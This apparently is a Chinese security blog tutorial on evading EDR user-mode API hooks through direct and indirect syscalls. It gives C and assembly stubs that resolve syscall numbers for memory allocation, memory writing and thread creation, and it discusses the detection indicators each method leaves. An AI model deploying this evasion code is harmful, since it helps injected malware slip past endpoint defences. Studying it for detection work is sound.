*本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
用户模式 API 挂钩使 EDR 能够动态检查在 Windows API 或本机 API 上下文中执行的代码,以查找潜在的恶意内容或行为。基本上有不同类型的 hooking,大多数供应商通过替换特定的 mov 指令,或者更具体地说,通过将操作码和操作数替换为指令来使用内联 hooking 变体。特别的原因是它替换了 mov 指令,该指令通常负责将 syscall 号或系统服务号 (SSN) 移动到 eax 寄存器。无条件跳转指令 (jmp) 会导致重定向到 EDR 的 hooking.dll,EDR 可以检查在本机 API 上下文中执行的代码中是否存在潜在的恶意内容。
仅当 EDR 确定在相应本机 API 的上下文中执行的代码不是恶意代码时,才会返回到 的内存,从而执行 syscall 语句以启动从 Windows 用户模式到内核模式的转换。否则,将不会执行 syscall 语句和上下文中的代码。
如果要检查自己的 EDR 以查看它是否或哪些 (本机) API 重定向到 EDR 自己的 hooking.dll,则可以使用 WinDbg 等调试器。
规避 EDR 用户模式挂钩的一种方法是直接系统调用技术。简单来说,其工作原理如下。本机函数的所需内容(存根)不是在本机 API 的上下文中获取所需的代码,以便通过 从 Windows 用户模式过渡到内核模式,而是以汇编指令的形式直接在程序集中实现。
有多种工具和 POC 可用于实现和执行直接系统调用,例如 Syswhispers2、Syswhispers3、Hells Gate 或 Halo's Gate。上一期我们也介绍了一下Hells Gate项目。这一次主要是为了了解直接系统调用,代码简单易懂是最好的
正常的syscall汇编形式为:
mov r10, rcx
mov eax, SSN ;SSN为系统编号
jmp QWORD PTR NT函数地址
根据上可以得知直接调用需要关键点,SSN系统编号。所以初始化定义结构体:
typedefstruct _FunctionAddress {
DWORD wNtFunctionSSN; //SSN
}FunctionAddress,* FunctionAddress;
typedefstructFuncationName { //所需函数
FunctionAddressNtAllocateVirtualMemory;
FunctionAddressNtWriteVirtualMemory;
FunctionAddressNtCreateThreadEx;
FunctionAddressNtWaitForSingleObject;
}FuncationName,* FuncationName;
获取ntdll.dll基地址代码为:
HMODULEhNtdll= GetModuleHandleA("ntdll.dll");
获取ntdll基地址后开始获取我们需要调用的NT函数:
// 初始化 NtAllocateVirtualMemory
direct_syscall.NtAllocateVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(hNtdll,
"NtAllocateVirtualMemory");
direct_syscall.NtAllocateVirtualMemory.wNtFunctionSSN = ((unsigned char*)
(direct_syscall.NtAllocateVirtualMemory.sysAddress + 4))[0];
// 初始化 NtWriteVirtualMemorydirect_syscall.NtWriteVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(hNtdll,
"NtWriteVirtualMemory");
direct_syscall.NtWriteVirtualMemory.wNtFunctionSSN = ((unsigned char*)
(direct_syscall.NtWriteVirtualMemory.sysAddress + 4))[0];
// 初始化 NtCreateThreadExdirect_syscall.NtCreateThreadEx.sysAddress = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
direct_syscall.NtCreateThreadEx.wNtFunctionSSN = ((unsigned char*)
(direct_syscall.NtCreateThreadEx.sysAddress + 4))[0];
// 初始化 NtWaitForSingleObjectdirect_syscall.NtWaitForSingleObject.sysAddress = (UINT_PTR)GetProcAddress(hNtdll,
"NtWaitForSingleObject");
direct_syscall.NtWaitForSingleObject.wNtFunctionSSN = ((unsigned char*)
(direct_syscall.NtWaitForSingleObject.sysAddress + 4))[0];
这时你肯定会想卧槽,Funcation_address为啥要+4取[0]呢?为啥,因为ntdll下的nt函数基本上都是:
mov r10, rcx
mov eax, SSN ;SSN为系统编号
jmp QWORD PTR NT函数地址
由于系统调用号或系统服务号(SSN)可能因 Windows 和版本而异,因此我们不想将它们硬编码到我们的 C 代码中,而是通过使用句柄访问程序集地址空间中已加载ntdll.dll来动态读取它们。为什么添加到 的基址 ?这是获取包含 syscall 的 SSN 的内存地址所需的偏移量(相对于本机 API 基址);这里我使用汇编完成syscall执行:
EXTERN direct_syscall:BYTE
.CODE
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+0
syscall
ret
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+16
syscall
ret
NtWriteVirtualMemory ENDP
NtCreateThreadEx PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+32
syscall
ret
NtCreateThreadEx ENDP
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+48
syscall
ret
NtWaitForSingleObject ENDP
END
在定义我们需要函数结构体:
// 定义 NTSTATUS 类型
typedef long NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
// 系统调用函数的声明
__declspec(dllexport) NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle, // 进程句柄
PVOID* BaseAddress, // 基地址指针
ULONG_PTR ZeroBits, // 零位
PSIZE_T RegionSize, // 区域大小
ULONG AllocationType, // 分配类型
ULONG Protect // 内存保护类型
);
__declspec(dllexport) NTSTATUS NtWriteVirtualMemory(
HANDLE ProcessHandle, // 进程句柄
PVOID BaseAddress, // 基地址
PVOID Buffer, // 数据缓冲区
SIZE_T NumberOfBytesToWrite, // 写入字节数
PULONG NumberOfBytesWritten // 实际写入字节数
);
__declspec(dllexport) NTSTATUS NtCreateThreadEx(
PHANDLE ThreadHandle, // 线程句柄
ACCESS_MASK DesiredAccess, // 所需访问权限
PVOID ObjectAttributes, // 对象属性
HANDLE ProcessHandle, // 进程句柄
PVOID lpStartAddress, // 线程入口地址
PVOID lpParameter, // 参数
ULONG Flags, // 标志
SIZE_T StackZeroBits, // 栈零位
SIZE_T SizeOfStackCommit, // 栈提交大小
SIZE_T SizeOfStackReserve, // 栈保留大小
PVOID lpBytesBuffer // 字节缓冲区
);
__declspec(dllexport) NTSTATUS NtWaitForSingleObject(
HANDLE Handle, // 等待的句柄
BOOLEAN Alertable, // 是否可被警报中断
PLARGE_INTEGER Timeout // 超时时间
);
如上所述,在使用的四个原生 API 的上下文中,我们避免访问ntdll.dll,并将相应原生函数的必要代码(存根)实现为 .asm 文件中的汇编代码。程序集代码执行以下任务。首先,使用 将寄存器 rcx 的当前内容写入寄存器 r10。然后,使用 将变量 wNtAllocateVirtualMemory 的当前内容移动到寄存器 eax 中。提醒:此时,全局声明的变量包含 Native API 的 SSN。然后,使用 syscall 语句执行 syscall,最后使用 .相同的过程用于其他本机 API (NtWriteVirtualMemory、NtCreateThreadEx、NtWaitForSingleObject) 。借老外的图,自己的忘记怎么调dbg了。
然后将编译后的直接系统调用 POC 加载到 x64dbg 中,并进行更详细的分析。尽管直接系统调用允许我们通过 EDR 绕过用户模式钩子,但直接系统调用会导致以下 IOC,这可能会导致检测,具体取决于 EDR。
syscall 指令的执行直接发生在直接 syscall 程序集的内存区域中,因此位于ntdll.dll的内存区域之外。这是一个唯一的 IOC,因为 syscall 指令通常永远不会在 ntdll.dll 的内存区域之外执行。
此外,return 指令的执行发生在直接 syscall 程序集的内存中,并同时从直接 syscall 程序集的内存区域引用到直接 syscall 程序集的内存区域。
在这两种情况下,这些都是 Windows 上的非合法行为,因此 EDR 可以使用唯一的 IOC 通过使用内核回调来检测恶意行为。因此,间接 syscalls 技术将在下一章中介绍。
间接 syscall 技术或多或少是直接 syscall 技术的演变。与直接系统调用相比,间接系统调用可以解决以下 EDR 规避问题
首先,syscall 命令的执行发生在 ntdll.dll 的内存中,因此对于 EDR 来说是合法的。
另一方面,return 语句的执行发生在 ntdll.dll 的内存中,并指向从 ntdll.dll 的内存到间接 syscall 程序集的内存。
// 定义每个系统调用的信息
typedef struct _FunctionAddress {
DWORD wNtFunctionSSN; // SSN (System Service Number)
UINT_PTR sysAddress; // 函数地址
} FunctionAddress, * PFunctionAddress;
// 定义所有需要的系统调用typedef struct _FuncationName { FunctionAddress NtAllocateVirtualMemory; FunctionAddress NtWriteVirtualMemory; FunctionAddress NtCreateThreadEx; FunctionAddress NtWaitForSingleObject;} FuncationName, * PFuncationName;
direct_syscall.NtAllocateVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(hNtdll,
"NtAllocateVirtualMemory");
direct_syscall.NtAllocateVirtualMemory.wNtFunctionSSN = ((unsignedchar*)
(direct_syscall.NtAllocateVirtualMemory.sysAddress + 4))[0];
direct_syscall.NtAllocateVirtualMemory.sysAddress =
direct_syscall.NtAllocateVirtualMemory.sysAddress + 0x12;
与直接 syscall POC 相比,在间接 syscall POC 中,我们不仅要动态提取 SSN,还要动态提取 syscall 指令的内存地址。后者是通过 Line 完成的。这是必要的,以便稍后在关联的汇编代码中,该指令可以替换为指向 中 syscall 指令的内存地址的无条件跳转指令 。
EXTERN direct_syscall:BYTE ; 声明全局变量
.CODE
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+0 ; 访问 wNtFunctionSSN
jmp QWORD PTR [direct_syscall+8] ; 跳转到 sysAddress
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+16 ; 访问 wNtFunctionSSN
jmp QWORD PTR [direct_syscall+24] ; 跳转到 sysAddress
NtWriteVirtualMemory ENDP
NtCreateThreadEx PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+32 ; 访问 wNtFunctionSSN
jmp QWORD PTR [direct_syscall+40] ; 跳转到 sysAddress
NtCreateThreadEx ENDP
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, DWORD PTR direct_syscall+48 ; 访问 wNtFunctionSSN
jmp QWORD PTR [direct_syscall+56] ; 跳转到 sysAddress
NtWaitForSingleObject ENDP
END
如果我们比较直接 syscall POC 和间接 syscall POC 的汇编代码,我们可以看到,直接在间接 syscall POC 中,只有本机函数存根的一部分以汇编代码的形式映射。同样在间接 syscall POC 中,SSN 是动态读取的,并存储在全局声明的变量中。但是,与直接 syscall POC 不同的是,间接 syscall POC 将指令替换为无条件跳转指令 ,该指令使用指针指向 的内存区域中指令的地址
我们编译间接 syscall POC 并在 x64dbg 中打开它。与之前的直接 syscall POC 相比,您可以看到 syscall 语句未在间接 syscall 程序集的内存区域中执行。相反,syscall 指令已替换为指向 ntdll.dll 中 syscall 指令的内存地址的跳转指令。这可确保从 ntdll.dll 的内存区域执行 syscall 指令和后续返回。
在比较直接和间接 syscall 的线程调用堆栈时,存在显著差异。对于直接 syscall,syscall 本身及其返回执行发生在正在执行进程的 .exe 文件的内存空间内。这会导致调用堆栈的顶部帧来自 .exe 内存,而不是 ntdll.dll 内存。这种模式是具有 100% 置信度的确定性入侵指标 (IOC),因为它是标准应用程序行为的非典型特征。另一方面,间接系统调用在线程调用堆栈的上下文中提供更合法的外观。对于间接 syscall,syscall 和 return 指令的执行都发生在 ntdll.dll 的内存中,这是正常应用程序进程中的预期行为。通过将直接 syscall 替换为间接 syscall,生成的调用堆栈模拟了更传统的执行模式。这在绕过检查执行系统调用及其返回的内存区域的 EDR 系统时非常有用。
间接系统调用是对直接系统调用的改进,但有其局限性,并且还具有某些 IOC,EDR 供应商现在使用这些 IOC 来生成检测规则。例如,使用间接系统调用,可以欺骗返回地址,这会将后续返回的内存地址放在调用堆栈的顶部,并绕过 EDR 的返回检查。但是,如果 EDR 正在使用 ETW,则它还可以检查调用堆栈本身是否存在不当行为。如果 EDR 也使用 ETW,则单独的间接系统调用不再足以规避 EDR,您需要仔细查看调用堆栈欺骗。一篇关于此的好文章 Hiding In PlainSight - Indirect Syscall is Dead! Long Live Custom Call Stacks
直接系统调用的局限性
内存区域的可疑性:
执行内存区域的监控:EDR可能会检测到syscall和return语句的内存执行区域。如果这些指令在非预期的内存区域(如自定义的内存段)中执行,可能被标记为可疑活动。
返回地址的异常:当return语句的目标指向同一内存区域(程序集自有内存)时,这种行为与合法的Windows API调用存在偏差,容易被EDR捕获。
IOC(Indicator of Compromise,威胁指征):直接系统调用的执行路径和内存行为容易形成IOC,成为EDR侦测的目标。
间接系统调用的优势
1.行为与合法活动一致:
执行区域的异常:间接调用的执行与合法的API路径一致。
返回路径的异常:返回路径从ntdll.dll指向调用者内存,而不是程序集自身。
间接调用通过ntdll.dll的内存执行syscall和return语句,模仿了合法的Windows API调用行为。
消除了直接系统调用中的两个IOC:
绕过EDR的限制:
由于EDR无法直接挂钩syscall指令,只能挂钩更高级别的API(通过内联钩子替换为无条件跳转jmp指令),间接调用有效规避了这一监控。
间接系统调用的局限性
内联钩子的影响:
如果EDR使用内联钩子替换了本机API中的原始逻辑(例如,通过jmp跳转到EDR控制的代码段),将阻止间接调用程序动态解析系统调用编号(SSN)。
在这种情况下,必须首先移除EDR的内联钩子,然后才能恢复原始API的功能。
复杂度的提升:
移除内联钩子本身可能成为规避的另一挑战,尤其是在EDR增强对内存保护和完整性检测的情况下。
另一种从“干净”或未挂钩的原生 API 的存根中动态扩展 SSN 的方法是 Halo's Gate 技术(Hell's Gate 的演变)。
我推荐的文章
“https://blog.sektor7.net/#!res/2021/halosgate.md”,他开发了 Halo's Gate 技术,还强烈推荐的文章
“https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/”
间接系统调用的另一个限制是,如果 EDR 还使用 ETW,则 EDR 不仅会检查返回地址,还会检查调用堆栈本身。在这种情况下,仅靠间接系统调用是不够的,还需要解决调用堆栈欺骗问题。
完整代码关注公众号回复:syscall
原文始发于微信公众号(ZeroPointZero安全团队):深入理解系统调用:原理、应用与最佳实践
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论